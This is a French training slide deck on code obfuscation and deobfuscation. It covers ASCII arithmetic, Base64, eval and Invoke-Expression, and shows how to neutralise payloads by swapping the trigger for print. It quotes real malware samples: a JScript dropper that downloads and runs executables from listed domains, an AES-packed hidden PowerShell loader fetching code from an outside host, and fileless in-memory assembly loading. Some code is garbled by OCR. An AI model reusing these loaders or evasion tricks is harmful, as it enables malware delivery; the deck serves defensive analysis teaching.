

Obfuscation

Éric BERTHOMIER

berthomiereric70@gmail.com

4 janvier 2026



Version 1.1 - Version Stagiaire

Ascii

Dans le cadre d'ASCII, un caractère est représenté par un nombre entier compris entre 0 et 127 (pour l'ASCII standard) et parfois entre 0 et 255 pour l'extension ASCII (ou ASCII étendu). Ces nombres sont appelés codes ASCII et correspondent à des caractères spécifiques.



Ascii

Dans le cadre d'ASCII, un caractère est représenté par un nombre entier compris entre 0 et 127 (pour l'ASCII standard) et parfois entre 0 et 255 pour l'extension ASCII (ou ASCII étendu). Ces nombres sont appelés codes ASCII et correspondent à des caractères spécifiques.

Par exemple :

- La lettre A a le code ASCII 65.
- Le chiffre 1 a le code ASCII 49.
- Le symbole # a le code ASCII 35.



Exemple d'application PowerShell - Texte vers Ascii

textascii.ps1

```
# Demander à l'utilisateur d'entrer un texte
$text = Read-Host "Entrez un texte"

# Convertir chaque caractère en code ASCII et l'afficher
foreach ($char in $text.ToCharArray()) {
    $asciiCode = [int][char]$char
    Write-Host "$char : $asciiCode"
}
```



Exemple d'application PowerShell - Texte vers Ascii

textascii.ps1

```
# Demander à l'utilisateur d'entrer un texte
$text = Read-Host "Entrez un texte"

# Convertir chaque caractère en code ASCII et l'afficher
foreach ($char in $text.ToCharArray()) {
    $asciiCode = [int][char]$char
    Write-Host "$char : $asciiCode"
}
```

Exemple d'exécution

Entrez un texte : hack h : 104 a : 97 c : 99 k : 107

Exemple d'application PowerShell - Ascii vers Texte (1/2)

asciitext.ps1

```
# Demander à l'utilisateur de saisir une chaîne de codes ASCII
$input = Read-Host "Entrez une chaîne de codes ASCII séparés par des espaces (par exemple : 65 66 67)"

# Diviser la chaîne en un tableau de codes ASCII
$asciiCodes = $input -split ' '

# Transformer chaque code ASCII en caractère
$characters = $asciiCodes | ForEach-Object {
    try {
        [char][int]$_ # Convertir en entier avant de transformer en caractère
    } catch {
        Write-Host "Erreur : '$_' n'est pas un code ASCII valide."
        continue
    }
}

# Combiner les caractères en une seule chaîne
$outputString = -join $characters

# Afficher le résultat
Write-Host "La chaîne correspondante est : $outputString"
```



Exemple d'application PowerShell - Ascii vers Texte (2/2)

Exemple d'exécution

Entrez une chaîne de codes ASCII séparés par des espaces (par exemple : 65 66 67) : 104 97 99 107

La chaîne correspondante est : hack

Un peu de mathématiques

Question

De combien de façon mathématiques peut-on obtenir la valeur 104 ($\text{chr}(k)$) ?



Un peu de mathématiques

Question

De combien de façon mathématiques peut-on obtenir la valeur 104 ($\text{chr}(k)$) ?

Réponse

Une infinité.



Exemple d'application PowerShell (1/3)

gennbre1.ps1

```
# Demander à l'utilisateur de saisir le résultat
$resultat_saisi = Read-Host "Veuillez saisir le résultat souhaité"

# Convertir la saisie en entier
$resultat_saisi = [int]$resultat_saisi

# Initialiser la somme actuelle et l'expression
$sum = 0
$expression = ""

# Liste des opérateurs possibles
$operations = @('+', '-', '*', '/')

# Continuer à ajouter des nombres et des opérations aléatoires jusqu'à ce que la somme atteigne
# ou dépasse le résultat souhaité
while ($sum -lt $resultat_saisi) {
    # Choisir un nombre aléatoire entre 1 et 5
    $nombre = Get-Random -Minimum 1 -Maximum 6

    # Choisir un opérateur aléatoire
    $operation = $operations | Get-Random

    if ($expression -eq "") {
        # Si c'est le premier nombre, on l'ajoute directement sans opérateur
        $expression += "$nombre"
        $sum = $nombre
    } else {
```



Exemple d'application PowerShell (2/3)

gennbre2.ps1

```
# Appliquer l'opération au dernier terme
$expression += " $operation $nombre"

# Appliquer l'opération mathématique sur la somme
switch ($operation) {
    '+' {
        $sum += $nombre
    }
    '-' {
        $sum -= $nombre
    }
    '*' {
        $sum *= $nombre
    }
    '/' {
        # Eviter la division par zéro
        if ($nombre -eq 0) {
            $nombre = 1
        }
        $sum /= $nombre
    }
}
}
```

Exemple d'application PowerShell (3/3)

gennbre3.ps1

```
# Ajuster si la somme dépasse le résultat souhaité
if ($sum -gt $resultat_saisi) {
    # Trouver la différence et ajuster la dernière opération pour arriver au bon résultat
    $difference = $sum - $resultat_saisi
    $expression += " - $difference"
    $sum -= $difference
}

# Afficher l'expression générée
Write-Host "L'expression générée pour obtenir le résultat $resultat_saisi est : $expression"
Write-Host "Le résultat final est : $sum"
```



Exemple d'application PowerShell - Résultat

Veillez saisir le résultat souhaité: 104

L'expression générée pour obtenir le résultat 104 est :

$2 * 3 * 3 - 2 * 1 * 3 - 1 / 1 + 5 + 5 + 4 * 3 - 79$

Le résultat final est : 104



Mathématiques appliquées à notre obfuscation

mathps.ps1

```
# Calculs mathématiques pour obtenir des valeurs ASCII
$asciiValues = @( (100+8), (130-15), (16*2), (90/2), (15*7+2), (110-2) )

# Afficher les valeurs ASCII
Write-Host "Valeurs ASCII obtenues par calculs : "
$asciiValues

# Reconstruction de la commande à partir des valeurs ASCII
$reconstructedCommand = ($asciiValues | ForEach-Object { [char]$_ }) -join ' '

# Afficher la commande reconstruite
Write-Host "Commande reconstruite : "
Write-Host $reconstructedCommand

# Exécution de la commande reconstruite
Write-Host "Exécution de la commande : "
Invoke-Expression $reconstructedCommand
```

Va permettre d'exécuter la commande `ls -al` sans se soucier de la signature de son code qui peut être modifié et recalculé à tout moment.

Base 64

La problématique de l'ASCII est qu'il ne permet pas de communiquer des fichiers binaires. Pour cela, il est nécessaire d'utiliser le Base 64.



Base 64

La problématique de l'ASCII est qu'il ne permet pas de communiquer des fichiers binaires. Pour cela, il est nécessaire d'utiliser le Base 64.

Définition

Le Base64 est un schéma d'encodage binaire-texte qui convertit des données binaires (comme des fichiers, des images ou du texte) en une chaîne de caractères ASCII. Il utilise un jeu de 64 caractères (A-Z, a-z, 0-9, +, et /) pour représenter les données, ce qui le rend compatible avec des systèmes qui ne supportent que des formats texte. L'encodage ajoute également un ou plusieurs caractères = pour garantir que la longueur des données encodées est un multiple de 4.

Mise en application

Encodage

ZWNobyAnQXR0YWNrIGRldGVjdGVklQ==

Décodage

Attack detected !



Mise en application

Encodage

```
ZWNobyAnQXR0YWNrIGRldGVjdGVklQ==
```

Décodage

```
Attack detected !
```

Démonstration

```
http://temp.ericberthomier.fr/virus/svg/
```



Eval

Eval est une fonction utilisée en programmation. Elle est présente dans de nombreux langages interprétés et permet d'exécuter une commande à partir d'une chaîne de caractères (ou String) générée par le programme lui-même en cours d'exécution.



Eval - Exemple

exempleEval.py

```
#!/usr/bin/python3
import subprocess

part1 = "cat"
part2 = "/etc/passwd" # Correction du chemin
command = f"{part1} {part2}"

try:
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    print("Résultat de la commande :")
    print(result.stdout)
except Exception as e:
    print(f"Erreur lors de l'exécution de la commande : {e}")
```



Invoke-Expression en PowerShell

En PowerShell, il n'existe pas de fonction native appelée eval. Cependant, son équivalent fonctionnel est la commande Invoke-Expression. Elle permet d'exécuter dynamiquement du code contenu dans une chaîne de caractères.



Invoke-Expression - Exemple

exempleEval.ps1

```
$part1 = "cat"  
$part2 = "/etc/passwd"  
$command = "$part1 $part2"  
  
# Exécution de la commande  
try {  
    # Exécution et capture de la sortie  
    $result = Invoke-Expression -Command $command  
    Write-Host "Résultat de la commande :"  
    Write-Output $result  
} catch {  
    Write-Host "Erreur lors de l'exécution de la commande : $($_.Exception.Message)"  
}
```



& en PowerShell

En PowerShell, le caractère & est connu comme l'opérateur d'appel (call operator). Il est utilisé pour exécuter une commande, un script ou un programme à partir d'une chaîne ou d'une variable contenant son chemin ou son nom.



& - Exemple

exempleEsperluette.ps1

```
$part1 = "cat"  
$part2 = "/etc/passwd"  
$command = "$part1 $part2"  
  
# Exécution de la commande avec l'opérateur &  
try {  
    # Utilisation de & pour exécuter la commande  
    $result = & $command  
    Write-Host "Résultat de la commande :"  
    Write-Output $result  
} catch {  
    Write-Host "Erreur lors de l'exécution de la commande : $($_.Exception.Message)"  
}
```



Conclusion

- ① Utiliser un outil permettant de lire le fichier dans son intégralité et de le rendre plus beau (beautifier) - Visual Code par exemple
- ② Rechercher le déclencheur - `eval` ou `Invoke-Expression -Command`
- ③ Remplacer ce dernier par un affichage



JavaScript - Mise en application (1/5)



Pour le JavaScript, il est possible d'utiliser Rhino.



JavaScript - Mise en application (2/5)

src01.js

```
var key = 'de8ZM';var b = '\x02\x10V99\x0d\x0aVz*\x0b\x17M.e\x01LC,,\x16ELgoUQ\x15\x17\x0c7*w\x17c\x27*uz\x07(,v\x11\x1e)6\x16\x19\x02)E{\x12\x08%5j\x13\x17!6u\x09c\x27*uz\x08( u\x1f\x030"m\x17\x1f1.\x16\x19\x02)JT;#\x03\x10Y=
.../...
var _0x12bd=["","\x6C\x65\x6E\x67\x74\x68","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,i=0;i<b[_0x12bd[1]];i++){dhhas3uu+=String[_0x12bd[3]](b[_0x12bd[2]](i)^key[_0x12bd[2]](j)),j++,j==key[_0x12bd[1]]&&(j=0)};eval(dhhas3uu);
```



JavaScript - Mise en application (3/5)

src02.js

```
var key = 'de8ZM';var b = '\x02\x10V99\x0d\x0aVz*\x0b\x17M.e\x01LC,,\x16ELgoUQ\x15\x17\x0c7*w\x17c\x27*uz\x07(,v\x11\x1e)6\x16\x19\x02)E{\x12\x08%5j\x13\x17!6u\x09c\x27*uz\x08( u\x1f\x030"m\x17\x1f1.\x16\x19\x02)JT;#\x03\x10Y=
.../...
var _0x12bd=[""," \x6C\x65\x6E\x67\x74\x68"," \x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74"," \x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];
for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,i=0;i<b[_0x12bd[1]];i++)
{
    dhhas3uu+=String[_0x12bd[3]](b[_0x12bd[2]](i)^key[_0x12bd[2]](j)),j++,j==key[_0x12bd[1]]&&(j=0)
};
eval(dhhas3uu);
```

Embellissement du code



JavaScript - Mise en application (4/5)

On remarque le eval

```
eval(dhhas3uu);
```

On le remplace par print

```
print(dhhas3uu);
```



JavaScript - Mise en application (5/5)

rhino.js

```
$ rhino analyse.js
function gorut(e){var t="14-MASOOM.COM JLINKSMS.COM CHEAPRIZESMS.COM ELEMENTGUMRUK.COM/language
IBMDATACAP.COM/wp-content/themes/academy WELLNESSHERBAL.COM/wp-content/themes/tiny-
framework ITSMYTEA.COM/xmlrpc www.LANDTOURJAPAN.COM INTEGRITYSMSNG.COM CREATIVEFOODSTYLIST
.COM www.KMDERUNJEWELRY.COM ADENYAOTELEET.COM MAJORCASE.ORG ISTANBULKLIMA.ORG ENTHHELP.COM
HEALINGSPRINGWORKSHOPS.COM/wp-content/themes/travel-blogger TUGRAHOTELS.COM www.
florianbruening.com JUALTOWERTRIANGLE.COM MAAKCARD.COM www.jakimbost.pl
THEVILLAGEVETERINARYHOSPITAL.COM".split(" ");ex="===e?".exe:".pdf";for(var M=0;M<t.length
;M++){var n=new ActiveXObject("WScript.Shell"),O=n.ExpandEnvironmentStrings("%TEMP%")+
String.fromCharCode(92)+Math.round(1e8*Math.random())+ex,E=0,r=new ActiveXObject("MSXML2.
XMLHTTP");r.onreadystatechange=function(){if(4==r.readyState&&200==r.status){var e=new
ActiveXObject("ADODB.Stream");if(e.open(),e.type=1,e.write(r.ResponseBody),5e3<e.size){E
=1,e.position=0,e.saveToFile(0,2);try{n.Run(0,1,0)}catch(t){}}e.close()};try{r.open("GET"
,"http://"+t[M]+"/get.php?dgfdg="+Math.random()+"&key="+key+e,!1),r.send()}catch(a){if
(1==E)break}}key="f5",gorut(""),gorut("&pdf=search");}
```



PowerShell - Mise en application (1/5)

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W 1 -ep Unrestricted -nop function ngvY($kzZ){(return -split ($kzZ -replace '...', '0x5C '));$ed0G = ngvY
('9B37E06BF956AECE53780A88368B78F034FFAAAB891880DE1098BA526A0C0986959FEFF0978E5022EDB5F917A44C1326CE6AD1738868203EC0FD1CA1A300BC60383C7F582E9B9F28BA4284055E9758AA
78A3857CA89C28C7848AE3290858E28C7403385085C1741CA02CBF957A0D243F7A816E19AD7E2EB006758E81C954EBFA720088C86628381A22A4C0E02C0C6592P98149C7846410AFC3A9FA1F867A0F97
B42929381B578E16C782E251657914526C840248519FA0BF258E3E622628A1802A3521F2E7A06F0827381F2F08B288557E909A48493460086C84C90070C1E9608E82B5059338903C654502C235BCF39F59
30780F87608F211693A4A4C08F24AF29332922A4F98A48B08A0E04666268A8722586522002085800831A0C7B19F40D13E7BE8E672F053A5F458567857240D170F7B7F254A058E68A440A48C5A108A45508
AC50F280A7FAA84C7164201C078205CA320AD448AD20385A12B463CD1A139ABE9F6984404211C9420B0B31F71A0D3F4E10D28264572A8C289A2A1B8922863F684320F856767B1940DE03C31CAE2A4365
1E8030BDC27FEA25F0B8278720EA6190A1C4926526798387CE4274445D0E232FAF55878F3FA814068A3CED3482C6A69AC6E7F8648514F89540785E41FC11488621EA58AFBCA78C0568073A35AC5571B4C
AC34385785FEAC6EDF3D992C12379C663804C81490FEFF5F60A555D01FE8BA351FD01680D209B6A45CE48238E5862C6238919637218C6D0253E89976C400732ADBC08065C0K9066E39257E93404BE3A98
861037F5C0DE650935F09680A060170C2DFE472704F5EE051AAEBED38C2C21D22D49ACD62089080E0601F7B268A5380D1E0B0CF1A8E96767F120181408196E39ED011F3074DE084F40C1AA950F7A92892
8513F0F835399C0DE25521FB50E03C25C827439A86074976549CF60F2C8F03F40962CD6A91A75E10185635A31DC1DE58AEC002ECA39E4F2B188018810BAEC3F858008E799791058BF3DA0680190FC980
80E0F566E4E19A0C438339E0EC7C23C40DEDEEEA97036807A2C68520E4108551DAD93D49797E4F4D373055A3072688597C673333CE2C04894E30ED71A71EFF707FA2C34D1DE9085AF474096717F8C22E0301F
28A15F7B9A6C58CA8FF5C07DEADF18A0A086569880767C2391C2499AA3130EAC4E936CE204C26D183D70AD0A76444AD18C15841A6850EDA21A9A4CB63C79827781C5C4EE59186CA336A850A69061E740375
6263EAFB9C5476A730683EBB84E8AB1EEA46680320331E95AE08F35FC1F504F77322ACD03CE2FE5A457C9C8B87A21D77E7AC7A44BC388622B84AC3920286882D68FCBC3A0DE988848F4F5E8A3A281670859
07005A514FEA9EDD04A2C63970C28FE3E84F65068E17889E4651F73FC1C806768D0222587FE6FAECB04DE226CB8C292F23A51A2A85C00443B097A2D2F3C38FCC6702D6AD58F2EEA9E0B135100E8B41618E25
82A6BDD05616E5786D27E29F8300A07091A21C99540937BF224E0608D84022E7E6156C8842471D3FD0587EA5F27965C6E0C5F9A2745459DAD59008D30EF1A3160E6AE52205D4C8B6616193AA101EA390F47
8EEEC98C402FD77A66B7F437A2B10E3280E5833358B6A09E832C96B3C490ED22530E88908571D0F26417D0FA40C58B26E87818C5927600618F3C059903E80FC0D4F78A0A8E12485AAC0E552D4857D099F77EB
DB1A6163E64601D0E1ED5E08A39F85807997144FFC3CEBE7626245B195084464C1F024781C68A3F9AC0D03E71B5CD0AFD00A8EAC11BF42558080C33E67C994629BFC628D25C06C6099C6800795082B08E7B
C65712C614883766D1F857FF471EFFF8053FA50225E1C0FC87905879606A493EF094514C0E7F0A500270F86CA088B708FFD5F42F1B0B16474E265EE400B6EA03F208CE0BEBA303238D6C0B70831D2B380731
EFFAD78542C4EABBA018D4C961A33BF6E4FC10A7A7323FFFE11B5546F5EC0BBAC3C9896732C3E3FC4E9C2E5CF4D286F46C0177D1DA587C181B150AE60AD016088E8E6A7EF28C48D050B1310A529649C35
3745FA37CBFC6452B8A0A860968759B7A393855A01620521A214837665E48412439426AB403440D9359A7682700D9377F8F87C2A66973D8ABCCB69C31AA423AA9056267036C6F5A02F5EC1A9D785FC84359EE
80730098C6832049115AC0E79111CFC74D056CF9FF338C4CA61378F1448E3DCDF543DCBD2224FDE06720B093301D0AAB7786B18447E4F3F8ABA4978D296303871726DCE481F3CEDA398397139C4EC8AC75C52
019606D8C390F1E89C5B112793012C2D0ECB208C4E18F89CD00736F9BAA944CE557867064387F2111BF18F5B0264838099791B7F46112BA8A8E94D944498093386840424E13E014683826D0AD0427600844
436A758028A789C7F5E352D30153908622675C76700828002ED30A2FB216CFAB39F33EE0225309AC8B06C840EDB0917922D6987F178310C320FE6D1490C9F083C228BA4880F07CA51FF39384724E243F
75D06668B2B49670365D3C98338BA2C68210E570895F13E75A97CEED6B062924F5EB167A27807EB183F8471284686A1A98905E12498912EC3531B2AB8BAAAE70DBA3A02793CB9944287B
CC9BA473380659400A0E91877C21E1D ');$aaJRK=-join ([char](((($Security.Cryptography.Aes)::Create()).CreateDecryptor((ngvY('4761615654535775414A61764726453')),[byte]
::new(16)).TransformFinalBlock($ed0G,0,$ed0G.Length));& $aaJRK.Substring(0,$ $aaJRK.Substring(187))
```



PowerShell - Mise en application (2/5)

[illegible]

Embellissement du code



PowerShell - Mise en application (3/5)

On remarque le &

```
& $aajRk.Substring(0,3) $aajRk.Substring(187)
```



PowerShell - Mise en application (3/5)

On remarque le &

```
& $aajRk.Substring(0,3) $aajRk.Substring(187)
```

On le remplace par Write-Host

```
Write-Host($aajRk.Substring(0,3),$aajRk.Substring(187))
```



PowerShell - Mise en application (4/5)

decodelatex.ps1

```
function ngyV($kqZz)
{
    return -split ($kqZz -replace '..', '0x$& ')
};

$edQG = ngyV('
9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1
.../...
CC9BA4A73380659400AE691877C21E81D
');

$aajRk=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor(ngyV('
4761615654535775414A617647426453'),[byte[]]::new(16)).TransformFinalBlock($edQG,0,$edQG.
Length));

Write-Host ($aajRk.Substring(0,3), $aajRk.Substring(187))
```



PowerShell - Mise en application (5/5)

decodelps1.txt

```
iex Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList '-w',  
'hidden','-ep','bypass','-nop','-Command','cd;Set-Variable t8 ((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|  
Get-Member|Where-Object{(Get-Variable _).Value.Name-like '*Cm*t'})).Name).Invoke((  
Get-ChildItem Variable:\E*onte*).Value.InvokeCommand(((Get-ChildItem Variable:\E*onte*).  
Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-like '*G*om*e'})).  
Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/  
singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand(((Get-ChildItem Variable  
:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-like '*  
Cm*t'})).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand(((  
Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable  
_).Value.Name-like '*G*om*e'})).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join(  
'',(Get-Item Variable:\t8).Value.(((Get-Item Variable:\t8).Value|Get-Member)|  
Where-Object{(Get-Variable _).Value.Name-like '*nl*a'})).Name).Invoke((GCI Variable:\s).  
Value)|ForEach{(Get-Item Variable:/_).Value-As 'Char'}})) -WindowStyle Hidden;$vNw1 =  
$env:AppData;function vjIse($dlTn, $szvk){[io.file]::WriteAllBytes($szvk, (New-Object (  
Fncw $aajRk.SubString(161,26))).DownloadData($dlTn));function Fncw($wjSV){return (($wjSV  
-split '(?<=\.G\.)'|%{$aajRk.SubString(3,100)[$_]}) -join ' ' -replace ".$")}{function wjSV(  
{function oxIAQ($rfrj){if(!Test-Path -Path $szvk){vjIse (Fncw $rfrj) $szvk}}$szvk =  
$vNw1 + '\index.js';oxIAQ $aajRk.SubString(103,58);start $szvk;}wjSV;
```



PowerShell - Diskless (1/2)

diskless1.ps1

```
$NklWi = [System.Security.Cryptography.AesManaged]::Create()
$NklWi.Mode = [System.Security.Cryptography.CipherMode]::CFB
$NklWi.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
$NklWi.Key = $zyOIY
$NklWi.IV = $YrxYX
$kbDFN = New-Object System.IO.MemoryStream
$CmzbR = New-Object System.Security.Cryptography.CryptoStream($kbDFN, $NklWi.CreateDecryptor(),
[System.Security.Cryptography.CryptoStreamMode]::Write)
$CmzbR.Write($MXKH0, 0, $MXKH0.Length)
$CmzbR.Close()
$LghyJ = $kbDFN.ToArray()
$yWZGY = [System.Reflection.Assembly]::Load($LghyJ)
$wKcbw = $yWZGY.EntryPoint
$wKcbw.Invoke($null, @())
```



PowerShell - Diskless (2/2)

diskless2.ps1

```
$NklWi = [System.Security.Cryptography.AesManaged]::Create()  
$NklWi.Mode = [System.Security.Cryptography.CipherMode]::CFB  
$NklWi.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126  
$NklWi.Key = $zYOIY  
$NklWi.IV = $YrxYX  
$kbDFN = New-Object System.IO.MemoryStream  
$CmzbR = New-Object System.Security.Cryptography.CryptoStream($kbDFN, $NklWi.CreateDecryptor(),  
    [System.Security.Cryptography.CryptoStreamMode]::Write)  
$CmzbR.Write($MXKHo, 0, $MXKHo.Length)  
$CmzbR.Close()  
$LghyJ = $kbDFN.ToArray()  
$yWZGY = [System.Reflection.Assembly]::Load($LghyJ)  
[IO.File]::WriteAllBytes("fichier.dll", $LghyJ)
```



Questions ?

```
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>

#define 0 0 "sfX4.Fv8Hl'uf\"
"0y'vWtAg:lc094jy,lulld=nl(<<0s13\"
*e.61f%k66m~<cl=ag6wLSP<clf0thu Stoc657/3\"
"!E%:lea!l!WqEbz!f%}!%lQ16!utIn!7!l!l!ak!SetRe\"
\"Z!sx!-V!n6p8!ck! KrgR'Bgc]%-q9V.3fa!E8Xvdy'w!#H<P-6\"
?guh!JL'P% ?\" 8!gdP,!to=fb\"
!pv!;!HmR04\" n:kd!Q!kN\"
\"e! 'b5c!c\" /* nothing \"
#define mu(a) a a a a //
#define 0 (0) \"033!\" #0
#define 0 (0) mu(mu(mu(0)))
#define 0 /-+ -/09-!l(
#define main() )main(){}/**\\
signal(13,1, ());f()//--+
#define k(k) getenv( \"D\"#k
char*08=0,0,0,\"01,05[97]:int*05,0=0,08=0,0=0,0=0,0=5,00,06,06,03
04,04=1088,01=sizeof(05),07=234;long long ;{lQ (<int*03,02,02,C,
00,09=0,08=!!!!!!k(RAFT):long long 08;char*09=0 (1A)0 {vd80 {vdc
0 (34m)\"xe2vcvc\\r\\n\"0 (8m)0 {vdA,\"07; +=( \"92+00-35- )*(00=0 (!
!)\"08-33\"*!09-),08=01*00,0066 (!,0 0466(0-,, (!,08=194,0++,04-,, (
!))0 0=0, -0, (!,0=3, (!)0 66(C= 615, 0=+(C-2)12+!(00=66!4*2)*f
4- 0)=(C=6)*! 12+* 01=(C=6)!19 (C-7)53), 0=100*! 00=0+(66!)03- 0,
0=+ 0*!00+(1-2* 0)!+(C*4),(C=5)66( >>4,08= -07-00,04= 615,0=1,
(!)0 +=6, (!, -08 -00=07 !,03=( 0= 08*(5 \"04*
01 > lrand48(!) +(! 0!=8,( 0% 6>2) -(! 0%
7<2) )\"00=(! (0 +>7!8<3 !-( 0=4) )*( C=5,
02 = 0/ 03\" 06=05 +(02= 0=00 )/ 2,03=
03 % 04+04(1 << 0 \"\" \"eCADBEH!\" [ 0%> 0
%03/ 00*2 ]- 64)* 0, sprintf(05, 09, 02+1,
02/2 ,\"03>>8 ,85* 36* 03,02+1 66 066(0=8,
01 = 05, (!), 08 +=(02 >0)* 0*(02 -00 ),
+!( C>9\"(3- + ( >>4!)-3, +=(C>12
) *( ( <<4 )+ C-3- ) ,usleep( 04* 0/(3*
08+1 ))0 >=3, (! ) ) ,109 --66 read(
1 ,6 00,1)> 866(0= 00=00 --35 --13+6 -(!
0066(00=10,0=6, (!,13)!!(0=4, (!,0)!!close(dup2(3-dup2(1,dup(0)-3,1)
0*0+2)0 {0 write(1,> \"-2),ioctl(08=0,TIOCGWINSZ.0)--06(03=00=06=
((short*05+1)*2)*4,06=-01,05=calloc(3*06,8), (!),0 (0=8,00=!(02=00-
10)!!(02=00-32)*(00=58=00)! (00=12=00)!66(01=0 (38), (!,write(1,> \"-2)
1),08=!(00*102+4-08*00,12*0266!0066(memset(05,0,3*03),08=4,01=\\n\\n\"
0 (3A), (!),>7, 0=7*00=09+2, 0= 0=0,00=!(00=64 600=51)*32,08=0 (0 0)=
07, (!,\"08=00)!!(0=2,08=+a\", (!)),0 \"08=00)66*(\"08=01)-33)66(0=0,
(!,0=7,08=01, (!),0 write(0,01,strlen(01)),0 00=0 (0 0)[06=01],06
%strlen(0,0-07)66(0=6, (!,0=9, (!)):Q !)/+++++ IOCCC 2815 +++++*/

main()
{
puts(\"hello world!\");
}
```

ComputerHope.com

RGVzIHf1ZXN0aW9ucyA/

